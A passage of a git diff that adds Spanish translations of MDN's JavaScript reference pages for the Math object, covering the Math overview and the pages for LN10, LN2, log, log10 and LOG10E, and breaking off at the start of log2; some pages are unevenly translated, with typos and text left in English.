+ <dd>Devuelve la representación flotante de precisión simple más cercana de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}}</dt>
+ <dd>Devuelve la raíz cuadrada de la suma de los cuadrados de sus argumentos.</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}}</dt>
+ <dd>Devuelve el resultado de una multiplicación de enteros de 32 bits.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>Devuelve el logaritmo natural (log, también ln) de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}}</dt>
+ <dd>Devuelve el logaritmo natural de x + 1 (loge, también ln) de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}}</dt>
+ <dd>Devuelve el logaritmo en base 10 de x.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}}</dt>
+ <dd>Devuelve el logaritmo en base 2 de x.</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>Devuelve el mayor de cero o más números.</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>Devuelve el más pequeño de cero o más números.</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>Las devoluciones de base a la potencia de exponente, que es, baseexponent.</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>Devuelve un número pseudo-aleatorio entre 0 y 1.</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>Devuelve el valor de un número redondeado al número entero más cercano.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}}</dt>
+ <dd>Devuelve el signo de la x, que indica si x es positivo, negativo o cero.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>Devuelve el seno de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}}</dt>
+ <dd>Devuelve el seno hiperbólico de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>Devuelve la raíz cuadrada positiva de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>Devuelve la tangente de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}}</dt>
+ <dd>Devuelve la tangente hiperbólica de un número.</dd>
+ <dt>
+ <pre class="notranslate"><code>Math.toSource()</code> {{non-standard_inline}}</pre>
+ </dt>
+ <dd>Devuelve la cadena "<code>Math</code>".</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}}</dt>
+ <dd>Devuelve la parte entera del número x, la eliminación de los dígitos fraccionarios.</dd>
+</dl>
+
+<h2 id="Extendiendo_el_objeto_Math">Extendiendo el objeto <code>Math</code></h2>
+
+<p>Como muchos de los objetos incluidos en JavaScript, el objeto <code>Math</code> puede ser extendido con propiedades y métodos personalizados. Para extender el objeto <code>Math</code> no se debe usar 'prototype'. Es posible extender directamente <code>Math</code>:</p>
+
+<pre class="brush: js notranslate">Math.propName = propValue;
+Math.methodName = methodRef;</pre>
+
+<p>Como demostración, el siguiente ejemplo agrega un método al objeto <code>Math</code> para calcular el <em>máximo común divisor</em> de una lista de argumentos.</p>
+
+<pre class="brush: js notranslate">/* Función variádica -- Retorna el máximo común divisor de una lista de argumentos */
+Math.gcd = function() {
+    if (arguments.length == 2) {
+        if (arguments[1] == 0)
+            return arguments[0];
+        else
+            return Math.gcd(arguments[1], arguments[0] % arguments[1]);
+    } else if (arguments.length &gt; 2) {
+        var result = Math.gcd(arguments[0], arguments[1]);
+        for (var i = 2; i &lt; arguments.length; i++)
+            result = Math.gcd(result, arguments[i]);
+        return result;
+    }
+};</pre>
+
+<p>Pruébalo:</p>
+
+<pre class="brush: js notranslate">console.log(Math.gcd(20, 30, 15, 70, 40)); // `5`</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición Inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nuevos métodos {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} y {{jsxref("Math.clz32()", "clz32()")}} añadidos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Math")}}</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/ln10/index.html b/files/es/web/javascript/referencia/objetos_globales/math/ln10/index.html
new file mode 100644
index 0000000000..8b9f40b77b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/ln10/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/LN10
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Math.LN10</strong></code> representa el logaritmo natural de 10, aproximadamente 2.302:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln10.html")}}</div>
+
+<div> </div>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Porque <code>LN10</code> es una propiedad estática de <code>Math</code>, siempre usted lo usa como <code>Math.LN10</code>, en lugar de como una propiedad de un objeto <code>Math</code> creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.LN10" name="Example:_Using_Math.LN10">Utilizando <code>Math.LN10</code></h3>
+
+<p>La función siguiente devuelve el logaritmo natural de 10:</p>
+
+<pre class="brush:js">function getNatLog10() {
+   return Math.LN10
+}
+
+getNatLog10(); // 2.302585092994046
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN10")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/ln2/index.html b/files/es/web/javascript/referencia/objetos_globales/math/ln2/index.html
new file mode 100644
index 0000000000..4a447f677a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/ln2/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/LN2
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <strong><code>Math.LN2</code></strong> representa el logaritmo natural de 2, aproximadamente 0.693:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln2.html")}}</div>
+
+<div> </div>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Como <code>LN2</code> es una propiedad estática de <code>Math</code>, siempre se usa como <code>Math.LN2</code>, en lugar de como una propiedad de un objeto <code>Math</code> que ha creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.LN2" name="Example:_Using_Math.LN2">Utilizando <code>Math.LN2</code></h3>
+
+<p>La función siguiente devuelve el logaritmo natural de 2:</p>
+
+<pre class="brush: js">function getNatLog2() {
+  return Math.LN2;
+}
+
+getNatLog2(); // 0.6931471805599453</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN2")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/log/index.html b/files/es/web/javascript/referencia/objetos_globales/math/log/index.html
new file mode 100644
index 0000000000..d243cd0501
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/log/index.html
@@ -0,0 +1,112 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/log
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.log()</code></strong> devuelve la base neutral de un número (base {{jsxref ("Math.E", "e")}})</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{el unico} \; y \; \text{tal que} \; e^y = x</annotation></semantics></math></p>
+
+<p> </p>
+
+<p>La función en JavaScrcrip <strong><code>Math.log()</code></strong> es equivalente a <em>ln(x)</em> en matematicas.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre>
+
+<h3 id="Parametetros">Parametetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Es un numero.</dd>
+</dl>
+
+<h3 id="Retorna_el_valor">Retorna el valor</h3>
+
+<p> </p>
+
+<p>La base natural (base {{jsxref("Math.E", "e")}}) del número dado. Si el número es negativo, se devuelve {{jsxref("NaN")}} </p>
+
+<h2 id="Descripcion">Descripcion</h2>
+
+<p>If the value of <code>x</code> is negative, the return value is always {{jsxref("NaN")}}.</p>
+
+<p>Because <code>log()</code> is a static method of <code>Math</code>, you always use it as <code>Math.log()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<p>If you need the natural log of 2 or 10, use the constants {{jsxref("Math.LN2")}} or {{jsxref("Math.LN10")}} .  If you need a logarithm to base 2 or 10, use {{jsxref("Math.log2()")}} or {{jsxref("Math.log10()")}} .  If you need a logarithm to other bases, use Math.log(x) / Math.log(otherBase) as in the example below; you might want to precalculate 1 / Math.log(otherBase) .</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.log()">Using <code>Math.log()</code></h3>
+
+<pre class="brush: js">Math.log(-1); // NaN, out of range
+Math.log(0);  // -Infinity
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046
+</pre>
+
+<h3 id="Using_Math.log()_with_a_different_base">Using <code>Math.log()</code> with a different base</h3>
+
+<p>The following function returns the logarithm of <code>y</code> with base <code>x</code> (ie. <math><semantics><mrow><msub><mo>log</mo><mi>x</mi></msub><mi>y</mi></mrow><annotation encoding="TeX">\log_x y</annotation></semantics></math>):</p>
+
+<pre class="brush: js">function getBaseLog(x, y) {
+  return Math.log(y) / Math.log(x);
+}
+</pre>
+
+<p>If you run <code>getBaseLog(10, 1000)</code> it returns <code>2.9999999999999996</code> due to floating-point rounding, which is very close to the actual answer of 3.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/log10/index.html b/files/es/web/javascript/referencia/objetos_globales/math/log10/index.html
new file mode 100644
index 0000000000..dc97208b63
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/log10/index.html
@@ -0,0 +1,137 @@
+---
+title: Math.log10()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/log10
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log10
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.log10()</code></strong> funcion que retorna el logaritmo de base 10 de un numero, esto es</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log10</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>la unica</mtext><mspace width="thickmathspace"></mspace><mi>y tal que</mi><mspace width="thickmathspace"></mspace><mtext></mtext><mspace width="thickmathspace"></mspace><msup><mn>10</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x</annotation></semantics></math></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Math.log10(<var>x</var>)</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un Numero</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>El logaritmo de base 10 del numero dado. SI el numero es negativo, {{jsxref("NaN")}} es devuelto.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si el valor de x es menor que cero, el valor de retorno siempre es {{jsxref("NaN")}}.</p>
+
+<p>Porque <code>log10()</code> <code>es un metodo estatico de Math</code>, debe usarse siempre <code>Math.log10()</code>, en vez de usarse como un metodo del objeto math que se ha creado (<code>Math</code> no es un constructor).</p>
+
+<p>Esta función es equivalente de Math.log(x) / Math.log(10).  Para log10(e) use la constante {{jsxref("Math.LOG10E")}} que es 1 / {{jsxref("Math.LN10")}}.  </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="usando_Math.log10()">usando <code>Math.log10()</code></h3>
+
+<pre class="brush: js">Math.log10(2);      // 0.3010299956639812
+Math.log10(1);      // 0
+Math.log10(0);      // -Infinito
+Math.log10(-2);     // NaN
+Math.log10(100000); // 5
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Puede ser emulada con la siguiente función</p>
+
+<pre class="brush: js">Math.log10 = Math.log10 || function(x) {
+  return Math.log(x) * Math.LOG10E;
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10', 'Math.log10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log10', 'Math.log10')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_Tambien">Vea Tambien</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/log10e/index.html b/files/es/web/javascript/referencia/objetos_globales/math/log10e/index.html
new file mode 100644
index 0000000000..755b6ceb1a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/log10e/index.html
@@ -0,0 +1,130 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/LOG10E
+tags:
+  - JavaScript
+  - Math
+  - Propiedad
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div>La propiedad <strong><code>Math.LOG10E</code></strong> representa el logaritmo base 10 de e, el cual es aproximadamente 0.434:</div>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que LOG10E es una propiedad estatica del módulo Math, se debe de invocar siempre como Math.LOG10E, en lugar de invocarla como una propiedad de algun objeto Math que hayas creado ( Math no es un constructor ).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.LOG10E">Utilizando <code>Math.LOG10E</code></h3>
+
+<p>La siguiente funcion regresa el logaritmo base 10 de e:</p>
+
+<pre class="brush:js">function getLog10e() {
+  return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial. Implementado en JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/log2/index.html b/files/es/web/javascript/referencia/objetos_globales/math/log2/index.html
new file mode 100644
index 0000000000..b394270684
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/log2/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.log2()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/log2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.log2()</code></strong> retorna el logaritmo base 2 de un número, esto es</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log2</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mn>2</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.log2(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
